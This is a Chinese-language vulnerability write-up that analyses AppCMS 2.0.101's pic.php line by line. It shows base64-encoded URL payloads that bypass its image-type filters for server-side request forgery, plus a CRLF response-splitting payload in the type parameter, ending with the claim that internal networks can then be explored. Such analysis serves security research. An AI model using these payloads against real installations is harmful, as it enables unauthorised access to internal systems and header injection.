官网:http://www.appcms.cc/
演示站点:http://www.topber.com/
下载最新安装包:http://www.appcms.cc/download/appcms_2.0.101.zip

安装好后看 pic.php 文件代码如下:

<?php
if(isset($_GET['url']) && trim($_GET['url']) != '' && isset($_GET['type'])) {
​    $img_url=trim($_GET['url']);
​    $img_url = base64_decode($img_url);
​    $img_url=strtolower(trim($img_url));
​    $_GET['type']=strtolower(trim($_GET['type']));
​    $urls=explode('.',$img_url);
​    if(count($urls)<=1) die('image type forbidden 0');
​    $file_type=$urls[count($urls)-1]; 
​    if(in_array($file_type,array('jpg','gif','png','jpeg'))){}else{ die('image type foridden 1');}
​    if(strstr($img_url,'php')) die('image type forbidden 2');
​    if(strstr($img_url,chr(0)))die('image type forbidden 3');
​    if(strlen($img_url)>256)die('url too length forbidden 4');
​    header("Content-Type: image/{$_GET['type']}");
​    readfile($img_url);
} else {
​    die('image not find!');
}
?>

下面一行一行分析:

<?php
if(isset($_GET['url']) && trim($_GET['url']) != '' && isset($_GET['type'])) {
​    $img_url=trim($_GET['url']); //去掉空白字符
​    $img_url = base64_decode($img_url); //把url参数做base64解码、说明传入时是base64编码的
​    $img_url=strtolower(trim($img_url));//把img_url转化为小写
​    $_GET['type']=strtolower(trim($_GET['type']));//把type转为小写
​    $urls=explode('.',$img_url); //使用 . 分割 img_url,如果是1.png
if(count($urls)<=1) die('image type forbidden 0');//如果urls数组小于或者等于1,则终止输出image type forbidden 0
///pic.php?url=test&type=png,随便试试看

//也就是说首先要绕过这个流程,就必须要urls数组大于1才可以,也就是.做base64编码,然后.的左右要都不为空才可以;
//把 http://test.com 做base64编码后的值是 aHR0cDovL3Rlc3QuY29t 然后用这个值试试可否绕过第一部流程;
//访问 /pic.php?url=aHR0cDovL3Rlc3QuY29t&type=png

// 走到下面的流程了,继续看下面的代码;

$file_type=$urls[count($urls)-1]; //取得数组倒数第一个值,这里是获取文件类型的哦
​    if(in_array($file_type,array('jpg','gif','png','jpeg'))){}else{ die('image type foridden 1');}

//判断图片类型是不是’jpg’,’gif’,’png’,’jpeg’这几种,如果是的话什么都不做,如果不是的话则输出 image type foridden 1
//上面走到 image type foridden 1了,接着要加个图片类型,绕过这个流程;
//把http://test.com/1.png 做base64编码 aHR0cDovL3Rlc3QuY29tLzEucG5n 访问
http://127.0.0.1/appcms/pic.php?url=aHR0cDovL3Rlc3QuY29tLzEucG5n&type=png, 在这样是可以绕过这个流程,不过显示的不对了,成为正常访问图片的效果了;

//这里其实也存在一个浏览器的RFC标准问题、没按照标准来就容易出问题;

//要实现ssrf 这样是做不到了,换成php试试呢,
//把http://test.com/1.php 做base64编码 aHR0cDovL3Rlc3QuY29tLzEucGhw 访问
http://127.0.0.1/appcms/pic.php?url=aHR0cDovL3Rlc3QuY29tLzEucGhw&type=php

发现又回到了上面的流程、这样行不通。。。

//上面流程主要是判断图片类型的、 把http://test.com/1.png 做编码,这样是读png图片流,响应为php文件;
访问 http://127.0.0.1/appcms/pic.php?url=aHR0cDovL3Rlc3QuY29tLzEucG5n&type=php

发现在客户端是下载php的,而不是去解析php的,因为随便构造的,下载下来的文件是啥都没有。
//上面是把图片当作php文件去下载、 反过来试试呢

//把php文件当图片下载
http://test.com/1.php 做编码;
访问 http://127.0.0.1/appcms/pic.php?url=aHR0cDovL3Rlc3QuY29tLzEucGhw&type=png
试过了还是不行、还是回到了上面的流程了

因为在 url 参数中做了扩展名控制,所以不能任意文件下载,不然可以做base64编码做任意文件下载噢、还有一种情况存在的可能性,解析漏洞、试试看

http://test.com/1.php%00.png 做编码是 aHR0cDovL3Rlc3QuY29tLzEucGhwJTAwLnBuZw==

访问:http://127.0.0.1/appcms/pic.php?url= aHR0cDovL3Rlc3QuY29tLzEucGhwJTAwLnBuZw==&type=png

// appcms 的设计还真是严谨、考虑的这么周到;终于到下一步了;

​    if(strstr($img_url,'php')) die('image type forbidden 2');//这里看到了,防护了解析漏洞
​    if(strstr($img_url,chr(0)))die('image type forbidden 3');//这里还判断了空字符截断
​    if(strlen($img_url)>256)die('url too length forbidden 4');//还判断了 url长度不能大于256
​    header("Content-Type: image/{$_GET['type']}");//这里是重点,type是响应类型,这个参数是可控的了
​    readfile($img_url);//开始读文件
} else {
​    die('image not find!');//如果没有设置url或者type走这里
}

代码分析完毕

之后考虑了下 /1.png 可以通过判断, 用/?1.png也可以通过判断,这就是问题所在了,/?1.png相当于/index.php?pic=1.png或者/index.html?pic=1.png,这样访问在没有获取这个参数时会忽略掉直接显示;试试看

随便找个站 http://v.qq.com/x/search/?q=1.png ,然后做base64编码;
aHR0cDovL3YucXEuY29tL3gvc2VhcmNoLz9xPTEucG5n
访问:
http://127.0.0.1/appcms/pic.php?url=aHR0cDovL3YucXEuY29tL3gvc2VhcmNoLz9xPTEucG5n&type=png

ok了、、、如果用火狐的话,需要分析这个文件流,内容都是文件流中,基于浏览器的解析机制不一样,可以换IE浏览器,直接查看返回的内容了;

作为极客、这样不算完成、过滤了空字符、还可以联想到 HTTP相应拆分漏洞,用他来显示出内容;
给个换行 测试url如下:
http://127.0.0.1/appcms/pic.php?url=aHR0cDovL3YucXEuY29tL3gvc2VhcmNoLz9xPTEucG5n&type=png%0A%0Dtest

然后就可以内网漫游了、、、

源链接

Hacking more

...